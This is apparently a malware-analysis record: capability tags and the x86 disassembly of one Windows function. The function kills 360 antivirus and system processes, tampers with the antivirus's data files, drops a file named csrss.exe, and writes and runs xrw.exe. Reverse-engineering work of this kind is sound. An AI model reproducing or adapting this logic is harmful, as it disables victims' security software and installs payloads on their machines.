Function at 0x10002150
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Enumerate processes
Get common file path
Get installed programs
Get session user name
Move file
Query or enumerate registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x960
push ebx
push esi
push edi
push 0x80
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x758]
push eax
push ecx
mov dword [ebp - 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov edi, str.baidumusic
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x758]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x758]
and ecx, 3
push eax
push 0
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x100021e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x100021e0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0xc], 0
lea eax, [0x100021f2]
and eax, 0xfffff000
sub eax, 0x1000
cmp word [eax], 0x5a4d
jne 0x100021f2
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.10001050
add esp, 4
lea edx, [ebp - 0x960]
push 0
push 0x25
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x960]
push 0x10010540
push eax
call dword [sym.imp.MSVCRT.dll_wcscat]
lea ecx, [ebp - 0x960]
push str.csrss.exe
push ecx
call fcn.100010c0
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 2
mov dword [ebp - 0xc], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edx, eax
mov ecx, 0x49
xor eax, eax
lea edi, [ebp - 0x344]
mov dword [ebp - 0x348], 0x128
mov dword [ebp - 0x14], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x348]
push eax
push edx
call sub.KERNEL32.dll_Process32First
mov ebx, dword [sym.imp.MSVCRT.dll__strcmpi]
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [ebp - 0x324]
push str.360Inst.exe
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x100022c7
mov eax, dword [ebp - 0x340]
mov ecx, dword [ebp - 0xc]
cmp ecx, eax
je 0x100022c7
push eax
push 0
push 1
call esi
test eax, eax
je 0x100022c7
push 0
push eax
call edi
lea edx, [ebp - 0x324]
push str.alicert.exe
push edx
call ebx
add esp, 8
test eax, eax
jne 0x100022f9
mov eax, dword [ebp - 0x340]
mov ecx, dword [ebp - 0xc]
cmp ecx, eax
je 0x100022f9
push eax
push 0
push 1
call esi
test eax, eax
je 0x100022f9
push 0
push eax
call edi
lea eax, [ebp - 0x324]
push str.conime.exe
push eax
call ebx
add esp, 8
test eax, eax
jne 0x10002323
mov ecx, dword [ebp - 0x340]
push ecx
push eax
push 1
call esi
test eax, eax
je 0x10002323
push 0
push eax
call edi
lea edx, [ebp - 0x324]
push str.ctfmon.exe
push edx
call ebx
add esp, 8
test eax, eax
jne 0x1000234e
mov eax, dword [ebp - 0x340]
push eax
push 0
push 1
call esi
test eax, eax
je 0x1000234e
push 0
push eax
call edi
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x348]
push ecx
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10002295
mov eax, dword [ebp - 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebx
push 0
lea ecx, [ebp - 0x654]
push 0x23
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x21f]
mov byte [ebp - 0x220], 0
rep stosd dword es:[edi], eax
lea edx, [ebp - 4]
mov dword [ebp - 8], 0x100
push edx
push 0xf003f
stosw word es:[edi], ax
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall360SD_
push 0x80000002
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000260c
lea edi, [ebp - 0x654]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x44c]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x44c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov byte [ebp - 0x10b], 0x50
rep movsb byte es:[edi], byte [esi]
mov edi, str._sl2.db
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0xff], 0x7a
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov al, 0x41
and ecx, 3
mov byte [ebp - 0x120], al
rep movsb byte es:[edi], byte [esi]
mov byte [ebp - 0x11e], al
mov byte [ebp - 0x11d], al
mov byte [ebp - 0x11c], al
mov byte [ebp - 0x11b], al
mov byte [ebp - 0x11a], al
mov byte [ebp - 0x119], al
mov byte [ebp - 0x118], al
mov byte [ebp - 0x117], al
mov byte [ebp - 0x116], al
mov byte [ebp - 0x115], al
mov byte [ebp - 0x114], al
mov byte [ebp - 0x113], al
mov byte [ebp - 0x112], al
mov byte [ebp - 0x111], al
mov byte [ebp - 0x110], al
mov byte [ebp - 0x10f], al
mov byte [ebp - 0x10e], al
mov byte [ebp - 0x10d], al
mov byte [ebp - 0x10c], al
mov byte [ebp - 0xfc], al
mov byte [ebp - 0xfb], al
mov cl, 0x2f
mov al, 0x3d
mov dl, 0x51
mov byte [ebp - 0x10a], cl
mov byte [ebp - 0x109], cl
mov byte [ebp - 0x108], cl
mov byte [ebp - 0x107], cl
mov byte [ebp - 0x106], cl
mov byte [ebp - 0x105], cl
mov byte [ebp - 0x104], cl
mov byte [ebp - 0x103], cl
mov byte [ebp - 0x102], cl
mov byte [ebp - 0x101], cl
mov byte [ebp - 0xfa], al
mov byte [ebp - 0xf9], al
mov byte [ebp - 0x11f], dl
mov byte [ebp - 0x100], dl
mov byte [ebp - 0xfe], 0x70
mov byte [ebp - 0xfd], 0x63
mov byte [ebp - 0xf8], 0xd
mov byte [ebp - 0xf7], 0xa
mov ecx, 0x36
xor eax, eax
lea edi, [ebp - 0xf6]
push 0
rep stosd dword es:[edi], eax
push 0x80
push 2
stosw word es:[edi], ax
push 0
push 1
lea eax, [ebp - 0x44c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [ebp - 0x14]
push 0
mov esi, eax
push ecx
lea edi, [ebp - 0x120]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x120]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call ebx
lea eax, [ebp - 8]
lea ecx, [ebp - 0x220]
push eax
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push ecx
push edx
push 0
push str.InstallLocation
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, str._sl2.db
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x220]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x220]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x44c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x1000260c
lea edx, [ebp - 0x220]
push 4
lea eax, [ebp - 0x44c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x220]
mov dword [ebp - 4], 0
rep stosd dword es:[edi], eax
lea ecx, [ebp - 4]
mov dword [ebp - 8], 0x100
push ecx
push 0xf003f
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall360
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000273a
lea edi, [ebp - 0x654]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x44c]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x44c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._speedmem2.hg
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x44c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.10002100
add esp, 4
lea ecx, [ebp - 8]
lea edx, [ebp - 0x220]
lea eax, [ebp - 0x10]
push ecx
mov ecx, dword [ebp - 4]
push edx
push eax
push 0
push str.InstallLocation
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, str.deepscan_speedmem2.hg
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x220]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x220]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x44c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x1000273a
lea edx, [ebp - 0x220]
push 4
lea eax, [ebp - 0x44c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea edi, [ebp - 0x654]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x550]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x550]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.xrw.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x550]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.10001450
add esp, 4
lea ecx, [ebp - 0x550]
push 0
push 0x80
push 3
push 0
push 1
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov esi, eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea edx, [ebp - 0x1c]
push 0
push edx
push 0x10010478
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x10010478
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call ebx
lea eax, [ebp - 0x550]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]